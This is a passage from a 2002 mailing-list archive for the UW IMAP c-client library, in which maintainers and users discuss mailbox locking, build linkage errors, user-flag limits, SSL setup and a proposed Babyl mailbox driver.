g7KLbt07025045 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 14:37:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLbKR8028946; Tue, 20 Aug 2002 14:37:20 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLYceY151870 for ; Tue, 20 Aug 2002 14:34:38 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 20 14:34:38 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLYbJY008662 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 14:34:37 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLYbR6030620 for ; Tue, 20 Aug 2002 14:34:37 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Aug 20 14:34:17 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLYHCR017299 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 14:34:17 -0700 Message-Id: Date: Tue, 20 Aug 2002 14:34:17 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "darcy w.christ" Cc: c-client@u.washington.edu Subject: Re: multiple imapd processes In-Reply-To: <96893050-A317-11D6-8AD8-000502212A00@1000camels.com> References: <96893050-A317-11D6-8AD8-000502212A00@1000camels.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your problems sound like you are using NFS for the imapd processes to access the mailbox files. If so, there is no advanced locking to protect you in multiple access, and you are reduced to the traditional UNIX "only one access at a time". On Mon, 29 Jul 2002, darcy w.christ wrote: > i've been having some trouble with multiple imapd processes for each > user on my system. i'm running a redhat 7.2 and redhat 7.3 system. > i've used both the rpm distributed from redhat and have compiled my own > version of imapd. With multiple processes, users experience multiple > messages (messages that we moved to the trash appear again in the inbox) > and messages with mismatched subjects (ie. the subjects from other > messages). One user gets a message using netscape6 claiming he cannot > connect to the server, even though he does see his mail. > > i've read through the faq on file locking. everything that i've read > suggests that redhat (linux) should not have trouble with locking, > although that is the only guess i have for what is causing this > trouble. i've found the locks in my /tmp directory. On one system, the > lock files all begin with .8 and on the other they all begin with .3. > Not sure. There are definitely locks for each of the processes. > > i'm hoping someone can give me some tips on how to debug this > problem. i really like imap and would love to use it, but in some cases > these problems are too difficult to work with. i appreciate any help i > can get. thanks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 14:39:52 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 14:39:52 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLdq2P027810 for ; Tue, 20 Aug 2002 14:39:52 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 14:39:51 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLdjEN014891 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 14:39:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLdKlZ015200; Tue, 20 Aug 2002 14:39:20 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KLZxeY151914 for ; Tue, 20 Aug 2002 14:35:59 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 14:35:58 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLZwbr020529 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 14:35:58 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KLZwR6031409 for ; Tue, 20 Aug 2002 14:35:58 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Aug 20 14:35:57 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KLZvTb028592 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 14:35:57 -0700 Message-Id: Date: Tue, 20 Aug 2002 14:35:57 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guy Davis Cc: c-client@u.washington.edu Subject: Re: Linkage problems using Redhat's c-client library In-Reply-To: <1027964226.1875.34.camel@dhcp239.int.ca.pason.com> References: <1027964226.1875.34.camel@dhcp239.int.ca.pason.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your linkage errors indicate that you built with Kerberos and SSL, but the necessary libraries are not installed or not in the places where the linkage expects them to be. I suggest contacting Redhat for help in getting the Kerberos and SSL libraries installed. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Aug 20 15:43:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 15:43:33 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KMhX2P030848 for ; Tue, 20 Aug 2002 15:43:33 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 20 15:43:32 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KMhPEN017183 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 15:43:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KMgrR8015324; Tue, 20 Aug 2002 15:42:54 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KMd8eY092944 for ; Tue, 20 Aug 2002 15:39:08 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Aug 20 15:39:07 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KMd7JY026306 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 15:39:07 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KMd6Yu002929 for ; Tue, 20 Aug 2002 15:39:06 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Aug 20 15:39:04 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KMd4Tb029858 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 15:39:04 -0700 Message-Id: Date: Tue, 20 Aug 2002 15:39:04 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Elvers Cc: c-client@u.washington.edu Subject: Re: User flags In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 11 Aug 2002, Mark Elvers wrote: > I have reason to need 32 user flag,s which seems to be possible as the > elt->user_flags field is an unsigned long. NUSERFLAGS which governs the > size of stream->user_flags[] is set to 30 in mail.h and there is a comment > on the line above which reads "These can't be changed without changing > code". As the stream->user_flags array needs NIL as the last element what > are the implications of changing NUSERFLAGS to 33. The reason for the NUSERFLAGS limitation at 30 is that some mailbox formats are limited to 30 flags. tenex and mtx will certainly break. I think that you can push mbx to 32 user flags. From pinedev@shivax2.cac.washington.edu Tue Aug 20 16:01:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 16:01:54 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KN1s2P031559 for ; Tue, 20 Aug 2002 16:01:54 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 16:01:53 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KN1o07028326 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 16:01:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KN1Rqt022592; Tue, 20 Aug 2002 16:01:27 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KMvTeY119998 for ; Tue, 20 Aug 2002 15:57:29 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Aug 20 15:57:28 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KMvSs9002334 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 15:57:28 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KMvSR6024219 for ; Tue, 20 Aug 2002 15:57:28 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Aug 20 15:57:27 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KMvRTb030278 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 15:57:27 -0700 Message-Id: Date: Tue, 20 Aug 2002 15:57:27 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alexy Khrabrov Cc: c-client@u.washington.edu Subject: Re: ports 143 and 993 should have the same imapd setup?! In-Reply-To: <200208142053.g7EKrOUF023159@angle.badbox.com> References: <200208142053.g7EKrOUF023159@angle.badbox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 14 Aug 2002, Alexy Khrabrov wrote: > Well, UW c-client docs/SSLBUILD explicitly says to > install one and the same imapd, without any > tunneling, on port 993 as on 143. This is correct. imapd is supposed to detect that it is running on port 993 and automatically start in SSL mode. > Because what > happens is, you get the same plain text imap start > there. If that happens, something is wrong either with your build or your installation. Have you verified that you followed *ALL* the instructions in the BUILD and SSLBUILD files? From pinedev@shivax2.cac.washington.edu Tue Aug 20 16:20:45 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 16:20:45 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KNKj2P032119 for ; Tue, 20 Aug 2002 16:20:45 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Aug 20 16:20:44 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KNKiEN018389 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 16:20:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KNKGeo089012; Tue, 20 Aug 2002 16:20:16 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KNGSeY088368 for ; Tue, 20 Aug 2002 16:16:28 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 16:16:28 2002 -0700 Received: from ono.noir.com (adsl-209-233-23-248.dsl.snfc21.pacbell.net [209.233.23.248]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KNGRbq014901 for ; Tue, 20 Aug 2002 16:16:27 -0700 Received: from noir.com (edo.noir.com [192.168.1.117]) by ono.noir.com (8.11.6/8.11.6) with ESMTP id g7KNElO02228; Tue, 20 Aug 2002 16:14:47 -0700 Message-Id: <3D62CD95.6060106@noir.com> Date: Tue, 20 Aug 2002 16:15:33 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "K. Richard Pixley" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: babyl format driver? References: <200207250706.g6P76sv19003@ono.noir.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 25 Jul 2002, K. Richard Pixley wrote: > >>Is anyone aware of a babyl format, (ie, emacs rmail format), driver >>for c-client? > > I don't know of one, and I don't know enough about Babyl format to write > one. Me either, but I have emacs for samples, and a fair understanding of it's capabilities. (flat file format with labels). :-). http://www.ifi.uio.no/~larsi/notes/BABYL. It's about a 2 minute read. This file is also in the emacs distributions as etc/BABYL, so you prolly have a copy on your machine already. :-). The format is easy to recognize and the emacs mechanism for file locking is simple, though advisory. The only tricky part I see is whether to support the inbox chaining akin to the /var/spool/mail/rich -> ~rich/mbox relationship. Here's the only other reference I found in a short web search. Likely, the format was never formally documented. http://web.mit.edu/dosathena/TechMail/Misc/BABYL >>And if not, and were I to write such a thing, could anyone tell me >>what would be required in order to see such a driver incorporated into >>the standard releases? > > The main issue is support. I don't know enough about Babyl to support it > myself, but including it in the official distribution implies support. It > also would get me flamed if it had problems (e.g. was slow, or violated > some aspect of the Babyl specification). As far as I can tell, babyl is a dead format. It's use in emacs rmail is just a carry-over from tops-20 days. Emacs-rmail is getting pretty moldy these days with only rudimentary pop support, no imap support, awkward mime support, and with the other emacs mail readers available, little motivation to update. I intend to move away from it personally, (finally), but I have several decades worth of mail archives, (many offline), which I really can't practically convert. > In such cases, I encourage third-party distribution. That way, the > support for Babyl would be in the hands of the Babyl user community, who > are in a better position to support Babyl than I am. Similar > issues apply to Maildir format. a) I don't think there is a babyl community per se. My web search produced several dozen utilities for converting FROM babyl back to mbox format, since the later emacs readers didn't initially have babyl capability and the emacs support for conversion at the time was tedious, (message at a time), these things sprouted like weeds. I'm also aware of a python library for reading babyl. A perl reader, backends for several more general mail user agents, (emacs vm, mm, gnus, imail, and a few others), etc. All have been produced for reading emacs-rmail output. I don't think any of the original babyl format programs survive. b) support is my issue as well. From where I sit, babyl format is extremely static, (hasn't changed in 2 decades?), while the stucture in which it would live, c-client, is still live code. So from out here, it looks like it would be better supported inside, since infrastructure changes are much easier to do in parallel across formats than they are to do serially across N backends by N developers. c) Then there's the ongoing maintenance issue. If I get babyl format into some (main line) imap server, then I can forget about it and the next redhat/suse/blinux/whatever will be babyl capable. If I'm forced to maintain diffs, then I'm forced to update/repatch/recompile every time I reload or update my os. d) and we have the pointer/wheel issue. If it's in the main line, then anyone who might want it, has it. If it's out here maintained separately, then how does anyone find it? Like, how would we know if someone had already done a babyl driver? e) finally, there's elegance. Frankly, if I'm going to move to imap and a server based architecture, I want to also consolidate the number of esoteric readers. Putting them into the imap server seems like exactly the right choice to me, (as opposed to putting them into mozilla and balsa and mutt and etc, etc, etc.) > I'll be happy to answer technical questions for anyone who purposes to > write a Babyl driver (e.g. what c-client expects). I suggest that you (or > whomever) start with an existing driver with similar characteristics and > use it as a prototype for the new driver. I'm not really willing to patch and recompile c-client every time a new version is released and/or every time I reload redhat. That's just not feasible. I'll do it for a short time, while the driver is in development, but I want to work toward a time when it's merged into the main line and can be largely forgotten. So if there's no hope of getting it into the main line code, then it's a stillborn project. I'll have to find some other solution. Am I correct in understanding that Cyrus uses it's own storage format and ONLY it's own format? --rich From pinedev@shivax2.cac.washington.edu Tue Aug 20 16:34:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 16:34:18 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KNYI2P032630 for ; Tue, 20 Aug 2002 16:34:18 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 16:34:17 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KNYE07029308 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 16:34:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KNXllZ016868; Tue, 20 Aug 2002 16:33:48 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7KNTxeY050664 for ; Tue, 20 Aug 2002 16:29:59 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Aug 20 16:29:58 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KNTwR9015855 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 16:29:58 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7KNTwYu017876 for ; Tue, 20 Aug 2002 16:29:58 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Aug 20 16:29:58 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7KNTvTb030961 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 16:29:57 -0700 Message-Id: Date: Tue, 20 Aug 2002 16:29:57 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michel Christaller Cc: c-client@u.washington.edu Subject: Re: IMAP toolkit crash In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Aug 2002, Michel Christaller wrote: > I'm using UW-IMAP 2001a and the associated c-client library on Solaris 6 > compiled with gcc. > From time to time I'm getting imapd crashs with the following error: > Fatal error user=.. mbx=..: Unknown event for execution process:* 502 > EXISTS This is a known bug which should be fixed in imap-2002. Please get imap-2002 RC2 from the ftp.cac.washington.edu IMAP server and verify that the problem is gone. From pinedev@shivax2.cac.washington.edu Tue Aug 20 18:35:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Aug 2002 18:35:32 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7L1ZV2P003049 for ; Tue, 20 Aug 2002 18:35:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Aug 20 18:35:31 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7L1ZU07032078 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Aug 2002 18:35:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7L1Z0qt027078; Tue, 20 Aug 2002 18:35:00 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7L1VKeY089258 for ; Tue, 20 Aug 2002 18:31:20 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Aug 20 18:31:20 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7L1VJR9017366 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 20 Aug 2002 18:31:19 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7L1VJej008476 for ; Tue, 20 Aug 2002 18:31:19 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Aug 20 18:31:18 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7L1VITb000533 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Aug 2002 18:31:18 -0700 Message-Id: Date: Tue, 20 Aug 2002 18:31:18 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Derr Cc: c-client@u.washington.edu Subject: Re: certificate checking in ssl_start_tls() In-Reply-To: <00c601c23195$4196df90$57008d10@zk3.dec.com> References: <00c601c23195$4196df90$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 22 Jul 2002, Peter Derr wrote: > The result is that, if built with SSL capability, the imapd server > advertises STARTTLS even when there's no certificate. This is intentional. If you do STARTTLS in that situation, you'll get a "Server certificate not installed" error message, which explains the problem and what has to be done to fix it. Otherwise, people will wonder why, when they built a server with SSL/TLS support, it doesn't advertise it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Aug 21 18:00:35 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Aug 2002 18:00:35 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7M10Z2P012167 for ; Wed, 21 Aug 2002 18:00:35 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Aug 21 18:00:35 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M10S07004098 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Aug 2002 18:00:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M0xcqt010624; Wed, 21 Aug 2002 17:59:38 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7M0u1eY020942 for ; Wed, 21 Aug 2002 17:56:01 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Aug 21 17:56:01 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7M0txs9012953 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 21 Aug 2002 17:56:00 -0700 Received: from [12.146.157.2] (port=9012 helo=gandalf.merlins.org) by mail2.merlins.org with asmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.04 #168 (Debian)) id 17hgGN-0006Vz-00; Wed, 21 Aug 2002 17:55:51 -0700 Received: from merlin by gandalf.merlins.org with local (Exim 3.31-VA-mm2 #1 (Debian)) id 17hgFz-00066p-00; Wed, 21 Aug 2002 17:55:27 -0700 Message-Id: <20020822005526.GO16531@merlins.org> Date: Wed, 21 Aug 2002 17:55:26 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In-Reply-To: References: <20020817210134.GD23760@merlins.org> Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=us-ascii X-Sender: X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody X-Spam-Status: No, hits=-4.4 